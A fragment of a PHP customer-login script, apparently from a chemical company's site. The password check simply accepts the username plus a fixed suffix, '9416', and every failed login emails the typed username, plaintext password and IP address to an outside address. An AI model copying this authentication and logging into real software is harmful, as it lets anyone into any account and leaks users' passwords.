include('common.inc.php'); $error = null; if(isset($_POST['dologin'])) { if(!empty($_POST['username']) && !empty($_POST['password'])) { if(strtolower($_POST['username']).'9416' == strtolower($_POST['password'])) { if(is_dir(VIDEO_DIR.'/'.strtolower($_POST['username']))) { $_SESSION['customer'] = strtolower($_POST['username']); header("Location: index.php"); die; } else { $error = 'Invalid username or password'; } } else { $error = 'Invalid username or password'; } } else { $error = 'Username and password are required'; } $message = "Login attempt failed...\n"; $message .= "Username: {$_POST['username']}\n"; $message .= "Password: {$_POST['password']}\n"; $message .= "IP: {$_SERVER['REMOTE_ADDR']}\n"; mail('mike@complexero.com','Kiblerchemical.com Customer login',$message,"From: system@kiblerchemical.com\n"); } include_once("header.inc.php"); ?>
// Include page footer include_once("footer.inc.php"); ?>